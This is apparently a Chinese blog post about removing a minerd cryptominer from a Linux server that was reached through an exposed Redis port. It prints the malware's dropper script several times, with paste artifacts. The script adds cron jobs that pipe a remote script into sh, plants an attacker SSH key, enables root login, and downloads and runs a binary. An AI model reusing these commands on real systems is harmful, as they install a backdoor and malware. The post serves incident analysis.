linux中了minerd之后的完全清理过程(详解)

许金山 發表於 2024-4-6 00:00:00

linux中了minerd之后的完全清理过程(详解)

<p>一不小心装了一个Redis服务，开了一个全网的默认端口，一开始以为这台服务器没有公网ip，结果发现之后悔之莫及啊</p>
<p>某天发现cpu load高的出奇，发现一个minerd进程占了大量cpu，google了一下，发现自己中招了</p>
<p>下面就是清理过程</p>
<p><span><strong>第一步</strong></span></p>
<p><strong>1.立即停止redis服务，修改端口权限，增加密码措施</strong></p>
<p><strong><br>
2.按照网上的资料删除 crontab 里的两个内容</strong></p>
<p>sudo rm /var/spool/cron/root<br>
sudo rm /var/spool/cron/crontabs/root</p>
<p><strong>3.知己知彼，百战不殆，研究病毒的初始话文件</strong></p>
<div class="jb51code">
<div><div id="highlighter_451633" class="syntaxhighlighterxhtml">
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</td>
<td class="code"><div class="container">
<div class="line number1 index0 alt2"><code class="xhtml plain">export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin</code></div>
<div class="line number2 index1 alt1"> </div>
<div class="line number3 index2 alt2"><code class="xhtml plain">echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/root</code></div>
<div class="line number4 index3 alt1"><code class="xhtml plain">mkdir -p /var/spool/cron/crontabs</code></div>
<div class="line number5 index4 alt2"><code class="xhtml plain">echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/crontabs/root</code></div>
<div class="line number6 index5 alt1"> </div>
<div class="line number7 index6 alt2"><code class="xhtml plain">if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then</code></div>
<div class="line number8 index7 alt1">
<code class="xhtml spaces">    </code><code class="xhtml plain">mkdir -p ~/.ssh</code>
</div>
<div class="line number9 index8 alt2">
<code class="xhtml spaces">    </code><code class="xhtml plain">rm -f ~/.ssh/authorized_keys*</code>
</div>
<div class="line number10 index9 alt1">
<code class="xhtml spaces">    </code><code class="xhtml plain">echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK75NEOiq</code>
</div>
<div class="line number11 index10 alt2">
<code class="xhtml spaces">    </code><code class="xhtml plain">echo "PermitRootLogin yes" >> /etc/ssh/sshd_config</code>
</div>
<div class="line number12 index11 alt1">
<code class="xhtml spaces">    </code><code class="xhtml plain">echo "RSAAuthentication yes" >> /etc/ssh/sshd_config</code>
</div>
<div class="line number13 index12 alt2">
<code class="xhtml spaces">    </code><code class="xhtml plain">echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config</code>
</div>
<div class="line number14 index13 alt1">
<code class="xhtml spaces">    </code><code class="xhtml plain">echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config</code>
</div>
<div class="line number15 index14 alt2">
<code class="xhtml spaces">    </code><code class="xhtml plain">/etc/init.d/sshd restart</code>
</div>
<div class="line number16 index15 alt1"><code class="xhtml plain">"pm.sh" 28L, 1470C                      10,1-8    顶端</code></div>
<div class="line number17 index16 alt2"><code class="xhtml plain">export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin</code></div>
<div class="line number18 index17 alt1"> </div>
<div class="line number19 index18 alt2"><code class="xhtml plain">echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spooll</code></div>
<div class="line number20 index19 alt1"><code class="xhtml plain">/cron/root</code></div>
<div class="line number21 index20 alt2"><code class="xhtml plain">mkdir -p /var/spool/cron/crontabs</code></div>
<div class="line number22 index21 alt1"><code class="xhtml plain">echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spooll</code></div>
<div class="line number23 index22 alt2"><code class="xhtml plain">/cron/crontabs/root</code></div>
<div class="line number24 index23 alt1"> </div>
<div class="line number25 index24 alt2"><code class="xhtml plain">if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then</code></div>
<div class="line number26 index25 alt1">
<code class="xhtml spaces">    </code><code class="xhtml plain">mkdir -p ~/.ssh</code>
</div>
<div class="line number27 index26 alt2">
<code class="xhtml spaces">    </code><code class="xhtml plain">rm -f ~/.ssh/authorized_keys*</code>
</div>
<div class="line number28 index27 alt1">
<code class="xhtml spaces">    </code><code class="xhtml plain">echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITT</code>
</div>
<div class="line number29 index28 alt2"><code class="xhtml plain">shREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZZ</code></div>
<div class="line number30 index29 alt1"><code class="xhtml plain">7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kvv</code></div>
<div class="line number31 index30 alt2"><code class="xhtml plain">9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1yy</code></div>
<div class="line number32 index31 alt1"><code class="xhtml plain">993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK755</code></div>
<div class="line number33 index32 alt2"><code class="xhtml plain">NEOiq</code></div>
<div class="line number34 index33 alt1">
<code class="xhtml spaces">    </code><code class="xhtml plain">echo "PermitRootLogin yes" >> /etc/ssh/sshd_config</code>
</div>
<div class="line number35 index34 alt2">
<code class="xhtml spaces">    </code><code class="xhtml plain">echo "RSAAuthentication yes" >> /etc/ssh/sshd_config</code>
</div>
<div class="line number36 index35 alt1">
<code class="xhtml spaces">    </code><code class="xhtml plain">echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config</code>
</div>
<div class="line number37 index36 alt2">
<code class="xhtml spaces">    </code><code class="xhtml plain">echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config</code>
</div>
<div class="line number38 index37 alt1">
<code class="xhtml spaces">    </code><code class="xhtml plain">/etc/init.d/sshd restart</code>
</div>
<div class="line number39 index38 alt2">
<code class="xhtml spaces">                                 </code><code class="xhtml plain">10,1-8    顶端</code>
</div>
<div class="line number40 index39 alt1"><code class="xhtml plain">export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin</code></div>
<div class="line number41 index40 alt2"> </div>
<div class="line number42 index41 alt1"><code class="xhtml plain">echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/rr</code></div>
<div class="line number43 index42 alt2"><code class="xhtml plain">oot</code></div>
<div class="line number44 index43 alt1"><code class="xhtml plain">mkdir -p /var/spool/cron/crontabs</code></div>
<div class="line number45 index44 alt2"><code class="xhtml plain">echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/cc</code></div>
<div class="line number46 index45 alt1"><code class="xhtml plain">rontabs/root</code></div>
<div class="line number47 index46 alt2"> </div>
<div class="line number48 index47 alt1"><code class="xhtml plain">if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then</code></div>
<div class="line number49 index48 alt2">
<code class="xhtml spaces">    </code><code class="xhtml plain">mkdir -p ~/.ssh</code>
</div>
<div class="line number50 index49 alt1">
<code class="xhtml spaces">    </code><code class="xhtml plain">rm -f ~/.ssh/authorized_keys*</code>
</div>
<div class="line number51 index50 alt2">
<code class="xhtml spaces">    </code><code class="xhtml plain">echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOcc</code>
</div>
<div class="line number52 index51 alt1"><code class="xhtml plain">9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLL</code></div>
<div class="line number53 index52 alt2"><code class="xhtml plain">Kn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm88</code></div>
<div class="line number54 index53 alt1"><code class="xhtml plain">gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNytbEgN+9IZCWlHOnlEPxBrr</code></div>
<div class="line number55 index54 alt2"><code class="xhtml plain">o4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK75NEOiq</code></div>
<div class="line number56 index55 alt1">
<code class="xhtml spaces">    </code><code class="xhtml plain">echo "PermitRootLogin yes" >> /etc/ssh/sshd_config</code>
</div>
<div class="line number57 index56 alt2">
<code class="xhtml spaces">    </code><code class="xhtml plain">echo "RSAAuthentication yes" >> /etc/ssh/sshd_config</code>
</div>
<div class="line number58 index57 alt1">
<code class="xhtml spaces">    </code><code class="xhtml plain">echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config</code>
</div>
<div class="line number59 index58 alt2">
<code class="xhtml spaces">    </code><code class="xhtml plain">echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config</code>
</div>
<div class="line number60 index59 alt1">
<code class="xhtml spaces">    </code><code class="xhtml plain">/etc/init.d/sshd restart</code>
</div>
<div class="line number61 index60 alt2"><code class="xhtml plain">fi</code></div>
<div class="line number62 index61 alt1"> </div>
<div class="line number63 index62 alt2"><code class="xhtml plain">if [ ! -f "/etc/init.d/ntp" ]; then</code></div>
<div class="line number64 index63 alt1">
<code class="xhtml spaces">                                    </code><code class="xhtml plain">10,1-8    顶端</code>
</div>
<div class="line number65 index64 alt2"><code class="xhtml plain">export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin</code></div>
<div class="line number66 index65 alt1"> </div>
<div class="line number67 index66 alt2"><code class="xhtml plain">echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/root</code></div>
<div class="line number68 index67 alt1"><code class="xhtml plain">mkdir -p /var/spool/cron/crontabs</code></div>
<div class="line number69 index68 alt2"><code class="xhtml plain">echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/crontabs/roo</code></div>
<div class="line number70 index69 alt1"><code class="xhtml plain">ot</code></div>
<div class="line number71 index70 alt2"> </div>
<div class="line number72 index71 alt1"><code class="xhtml plain">if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then</code></div>
<div class="line number73 index72 alt2">
<code class="xhtml spaces">    </code><code class="xhtml plain">mkdir -p ~/.ssh</code>
</div>
<div class="line number74 index73 alt1">
<code class="xhtml spaces">    </code><code class="xhtml plain">rm -f ~/.ssh/authorized_keys*</code>
</div>
<div class="line number75 index74 alt2">
<code class="xhtml spaces">    </code><code class="xhtml plain">echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yWW</code>
</div>
<div class="line number76 index75 alt1"><code class="xhtml plain">8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQQ</code></div>
<div class="line number77 index76 alt2"><code class="xhtml plain">V8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXX</code></div>
<div class="line number78 index77 alt1"><code class="xhtml plain">mVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root""</code></div>
<div class="line number79 index78 alt2">
<code class="xhtml spaces"> </code><code class="xhtml plain">> ~/.ssh/KHK75NEOiq</code>
</div>
<div class="line number80 index79 alt1">
<code class="xhtml spaces">    </code><code class="xhtml plain">echo "PermitRootLogin yes" >> /etc/ssh/sshd_config</code>
</div>
<div class="line number81 index80 alt2">
<code class="xhtml spaces">    </code><code class="xhtml plain">echo "RSAAuthentication yes" >> /etc/ssh/sshd_config</code>
</div>
<div class="line number82 index81 alt1">
<code class="xhtml spaces">    </code><code class="xhtml plain">echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config</code>
</div>
<div class="line number83 index82 alt2">
<code class="xhtml spaces">    </code><code class="xhtml plain">echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config</code>
</div>
<div class="line number84 index83 alt1">
<code class="xhtml spaces">    </code><code class="xhtml plain">/etc/init.d/sshd restart</code>
</div>
<div class="line number85 index84 alt2"><code class="xhtml plain">fi</code></div>
<div class="line number86 index85 alt1"> </div>
<div class="line number87 index86 alt2"><code class="xhtml plain">if [ ! -f "/etc/init.d/ntp" ]; then</code></div>
<div class="line number88 index87 alt1">
<code class="xhtml spaces">    </code><code class="xhtml plain">if [ ! -f "/etc/systemd/system/ntp.service" ]; then</code>
</div>
<div class="line number89 index88 alt2">
<code class="xhtml spaces">        </code><code class="xhtml plain">mkdir -p /opt</code>
</div>
<div class="line number90 index89 alt1"><code class="xhtml plain">@</code></div>
<div class="line number91 index90 alt2">
<code class="xhtml spaces">                                         </code><code class="xhtml plain">10,1-8    顶端</code>
</div>
<div class="line number92 index91 alt1"><code class="xhtml plain">export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin</code></div>
<div class="line number93 index92 alt2"> </div>
<div class="line number94 index93 alt1"><code class="xhtml plain">echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/root</code></div>
<div class="line number95 index94 alt2"><code class="xhtml plain">mkdir -p /var/spool/cron/crontabs</code></div>
<div class="line number96 index95 alt1"><code class="xhtml plain">echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/crontabs/root</code></div>
<div class="line number97 index96 alt2"> </div>
<div class="line number98 index97 alt1"><code class="xhtml plain">if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then</code></div>
<div class="line number99 index98 alt2">
<code class="xhtml spaces">    </code><code class="xhtml plain">mkdir -p ~/.ssh</code>
</div>
<div class="line number100 index99 alt1">
<code class="xhtml spaces">    </code><code class="xhtml plain">rm -f ~/.ssh/authorized_keys*</code>
</div>
<div class="line number101 index100 alt2">
<code class="xhtml spaces">    </code><code class="xhtml plain">echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/AA</code>
</div>
<div class="line number102 index101 alt1"><code class="xhtml plain">g1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txLL</code></div>
<div class="line number103 index102 alt2"><code class="xhtml plain">6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNyy</code></div>
<div class="line number104 index103 alt1"><code class="xhtml plain">tbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK75NEOiq</code></div>
<div class="line number105 index104 alt2">
<code class="xhtml spaces">    </code><code class="xhtml plain">echo "PermitRootLogin yes" >> /etc/ssh/sshd_config</code>
</div>
<div class="line number106 index105 alt1">
<code class="xhtml spaces">    </code><code class="xhtml plain">echo "RSAAuthentication yes" >> /etc/ssh/sshd_config</code>
</div>
<div class="line number107 index106 alt2">
<code class="xhtml spaces">    </code><code class="xhtml plain">echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config</code>
</div>
<div class="line number108 index107 alt1">
<code class="xhtml spaces">    </code><code class="xhtml plain">echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config</code>
</div>
<div class="line number109 index108 alt2">
<code class="xhtml spaces">    </code><code class="xhtml plain">/etc/init.d/sshd restart</code>
</div>
<div class="line number110 index109 alt1"><code class="xhtml plain">fi</code></div>
<div class="line number111 index110 alt2"> </div>
<div class="line number112 index111 alt1"><code class="xhtml plain">if [ ! -f "/etc/init.d/ntp" ]; then</code></div>
<div class="line number113 index112 alt2">
<code class="xhtml spaces">    </code><code class="xhtml plain">if [ ! -f "/etc/systemd/system/ntp.service" ]; then</code>
</div>
<div class="line number114 index113 alt1">
<code class="xhtml spaces">        </code><code class="xhtml plain">mkdir -p /opt</code>
</div>
<div class="line number115 index114 alt2">
<code class="xhtml spaces">        </code><code class="xhtml plain">curl -fsSL http://r.chanstring.com/v51/lady_`uname -m` -o /opt/KHK75NEOiq33 && chmod +x /opt/KHK77</code>
</div>
<div class="line number116 index115 alt1"><code class="xhtml plain">5NEOiq33 && /opt/KHK75NEOiq33 -Install</code></div>
<div class="line number117 index116 alt2">
<code class="xhtml spaces">    </code><code class="xhtml plain">fi</code>
</div>
<div class="line number118 index117 alt1"><code class="xhtml plain">fi</code></div>
<div class="line number119 index118 alt2"> </div>
<div class="line number120 index119 alt1">
<code class="xhtml spaces">                                                </code><code class="xhtml plain">10,1-8    顶端</code>
</div>
<div class="line number121 index120 alt2"><code class="xhtml plain">export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin</code></div>
<div class="line number122 index121 alt1"> </div>
<div class="line number123 index122 alt2"><code class="xhtml plain">echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/root</code></div>
<div class="line number124 index123 alt1"><code class="xhtml plain">mkdir -p /var/spool/cron/crontabs</code></div>
<div class="line number125 index124 alt2"><code class="xhtml plain">echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/crontabs/root</code></div>
<div class="line number126 index125 alt1"> </div>
<div class="line number127 index126 alt2"><code class="xhtml plain">if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then</code></div>
<div class="line number128 index127 alt1">
<code class="xhtml spaces">    </code><code class="xhtml plain">mkdir -p ~/.ssh</code>
</div>
<div class="line number129 index128 alt2">
<code class="xhtml spaces">    </code><code class="xhtml plain">rm -f ~/.ssh/authorized_keys*</code>
</div>
<div class="line number130 index129 alt1">
<code class="xhtml spaces">    </code><code class="xhtml plain">echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TT</code>
</div>
<div class="line number131 index130 alt2"><code class="xhtml plain">dRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6ww</code></div>
<div class="line number132 index131 alt1"><code class="xhtml plain">L4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdd</code></div>
<div class="line number133 index132 alt2"><code class="xhtml plain">Y7vRnrvFav root" > ~/.ssh/KHK75NEOiq</code></div>
<div class="line number134 index133 alt1">
<code class="xhtml spaces">    </code><code class="xhtml plain">echo "PermitRootLogin yes" >> /etc/ssh/sshd_config</code>
</div>
<div class="line number135 index134 alt2">
<code class="xhtml spaces">    </code><code class="xhtml plain">echo "RSAAuthentication yes" >> /etc/ssh/sshd_config</code>
</div>
<div class="line number136 index135 alt1">
<code class="xhtml spaces">    </code><code class="xhtml plain">echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config</code>
</div>
<div class="line number137 index136 alt2">
<code class="xhtml spaces">    </code><code class="xhtml plain">echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config</code>
</div>
<div class="line number138 index137 alt1">
<code class="xhtml spaces">    </code><code class="xhtml plain">/etc/init.d/sshd restart</code>
</div>
<div class="line number139 index138 alt2"><code class="xhtml plain">fi</code></div>
<div class="line number140 index139 alt1"> </div>
<div class="line number141 index140 alt2"><code class="xhtml plain">if [ ! -f "/etc/init.d/ntp" ]; then</code></div>
<div class="line number142 index141 alt1">
<code class="xhtml spaces">    </code><code class="xhtml plain">if [ ! -f "/etc/systemd/system/ntp.service" ]; then</code>
</div>
<div class="line number143 index142 alt2">
<code class="xhtml spaces">        </code><code class="xhtml plain">mkdir -p /opt</code>
</div>
<div class="line number144 index143 alt1">
<code class="xhtml spaces">        </code><code class="xhtml plain">curl -fsSL http://r.chanstring.com/v51/lady_`uname -m` -o /opt/KHK75NEOiq33 && chmod +x /opt/KHK75NEOiq33 && /opp</code>
</div>
<div class="line number145 index144 alt2"><code class="xhtml plain">t/KHK75NEOiq33 -Install</code></div>
<div class="line number146 index145 alt1">
<code class="xhtml spaces">    </code><code class="xhtml plain">fi</code>
</div>
<div class="line number147 index146 alt2"><code class="xhtml plain">fi</code></div>
<div class="line number148 index147 alt1"> </div>
<div class="line number149 index148 alt2"><code class="xhtml plain">/etc/init.d/ntp start</code></div>
<div class="line number150 index149 alt1"> </div>
<div class="line number151 index150 alt2"><code class="xhtml plain">ps auxf|grep -v grep|grep "/usr/bin/cron"|awk '{print $2}'|xargs kill -9</code></div>
<div class="line number152 index151 alt1">
<code class="xhtml spaces">                                                       </code><code class="xhtml plain">10,1-8    顶端</code>
</div>
<div class="line number153 index152 alt2"><code class="xhtml plain">export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin</code></div>
<div class="line number154 index153 alt1"> </div>
<div class="line number155 index154 alt2"><code class="xhtml plain">echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/root</code></div>
<div class="line number156 index155 alt1"><code class="xhtml plain">mkdir -p /var/spool/cron/crontabs</code></div>
<div class="line number157 index156 alt2"><code class="xhtml plain">echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/crontabs/root</code></div>
<div class="line number158 index157 alt1"> </div>
<div class="line number159 index158 alt2"><code class="xhtml plain">if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then</code></div>
<div class="line number160 index159 alt1">
<code class="xhtml spaces">    </code><code class="xhtml plain">mkdir -p ~/.ssh</code>
</div>
<div class="line number161 index160 alt2">
<code class="xhtml spaces">    </code><code class="xhtml plain">rm -f ~/.ssh/authorized_keys*</code>
</div>
<div class="line number162 index161 alt1">
<code class="xhtml spaces">    </code><code class="xhtml plain">echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYY</code>
</div>
<div class="line number163 index162 alt2"><code class="xhtml plain">pLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbb</code></div>
<div class="line number164 index163 alt1"><code class="xhtml plain">BXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK75NEOiq</code></div>
<div class="line number165 index164 alt2">
<code class="xhtml spaces">    </code><code class="xhtml plain">echo "PermitRootLogin yes" >> /etc/ssh/sshd_config</code>
</div>
<div class="line number166 index165 alt1">
<code class="xhtml spaces">    </code><code class="xhtml plain">echo "RSAAuthentication yes" >> /etc/ssh/sshd_config</code>
</div>
<div class="line number167 index166 alt2">
<code class="xhtml spaces">    </code><code class="xhtml plain">echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config</code>
</div>
<div class="line number168 index167 alt1">
<code class="xhtml spaces">    </code><code class="xhtml plain">echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config</code>
</div>
<div class="line number169 index168 alt2">
<code class="xhtml spaces">    </code><code class="xhtml plain">/etc/init.d/sshd restart</code>
</div>
<div class="line number170 index169 alt1"><code class="xhtml plain">fi</code></div>
<div class="line number171 index170 alt2"> </div>
<div class="line number172 index171 alt1"><code class="xhtml plain">if [ ! -f "/etc/init.d/ntp" ]; then</code></div>
<div class="line number173 index172 alt2">
<code class="xhtml spaces">    </code><code class="xhtml plain">if [ ! -f "/etc/systemd/system/ntp.service" ]; then</code>
</div>
<div class="line number174 index173 alt1">
<code class="xhtml spaces">        </code><code class="xhtml plain">mkdir -p /opt</code>
</div>
<div class="line number175 index174 alt2">
<code class="xhtml spaces">        </code><code class="xhtml plain">curl -fsSL http://r.chanstring.com/v51/lady_`uname -m` -o /opt/KHK75NEOiq33 && chmod +x /opt/KHK75NEOiq33 && /opt/KHK75NEOiq33 -Instaa</code>
</div>
<div class="line number176 index175 alt1"><code class="xhtml plain">ll</code></div>
<div class="line number177 index176 alt2">
<code class="xhtml spaces">    </code><code class="xhtml plain">fi</code>
</div>
<div class="line number178 index177 alt1"><code class="xhtml plain">fi</code></div>
<div class="line number179 index178 alt2"> </div>
<div class="line number180 index179 alt1"><code class="xhtml plain">/etc/init.d/ntp start</code></div>
<div class="line number181 index180 alt2"> </div>
<div class="line number182 index181 alt1"><code class="xhtml plain">ps auxf|grep -v grep|grep "/usr/bin/cron"|awk '{print $2}'|xargs kill -9</code></div>
<div class="line number183 index182 alt2"><code class="xhtml plain">ps auxf|grep -v grep|grep "/opt/cron"|awk '{print $2}'|xargs kill -9</code></div>
<div class="line number184 index183 alt1"><code class="xhtml plain">~</code></div>
<div class="line number185 index184 alt2"><code class="xhtml plain">~</code></div>
<div class="line number186 index185 alt1"><code class="xhtml plain">~</code></div>
<div class="line number187 index186 alt2"><code class="xhtml plain">~</code></div>
<div class="line number188 index187 alt1"><code class="xhtml plain">~</code></div>
<div class="line number189 index188 alt2">
<code class="xhtml spaces">                                                                  </code><code class="xhtml plain">10,1-8    全部</code>
</div>
<div class="line number190 index189 alt1"><code class="xhtml plain">export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin</code></div>
<div class="line number191 index190 alt2"> </div>
<div class="line number192 index191 alt1"><code class="xhtml plain">echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/root</code></div>
<div class="line number193 index192 alt2"><code class="xhtml plain">mkdir -p /var/spool/cron/crontabs</code></div>
<div class="line number194 index193 alt1"><code class="xhtml plain">echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/crontabs/root</code></div>
<div class="line number195 index194 alt2"> </div>
<div class="line number196 index195 alt1"><code class="xhtml plain">if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then</code></div>
<div class="line number197 index196 alt2">
<code class="xhtml spaces">    </code><code class="xhtml plain">mkdir -p ~/.ssh</code>
</div>
<div class="line number198 index197 alt1">
<code class="xhtml spaces">    </code><code class="xhtml plain">rm -f ~/.ssh/authorized_keys*</code>
</div>
<div class="line number199 index198 alt2">
<code class="xhtml spaces">    </code><code class="xhtml plain">echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ77</code>
</div>
<div class="line number200 index199 alt1"><code class="xhtml plain">yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y999</code></div>
<div class="line number201 index200 alt2"><code class="xhtml plain">3qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK75NEOiq</code></div>
<div class="line number202 index201 alt1">
<code class="xhtml spaces">    </code><code class="xhtml plain">echo "PermitRootLogin yes" >> /etc/ssh/sshd_config</code>
</div>
<div class="line number203 index202 alt2">
<code class="xhtml spaces">    </code><code class="xhtml plain">echo "RSAAuthentication yes" >> /etc/ssh/sshd_config</code>
</div>
<div class="line number204 index203 alt1">
<code class="xhtml spaces">    </code><code class="xhtml plain">echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config</code>
</div>
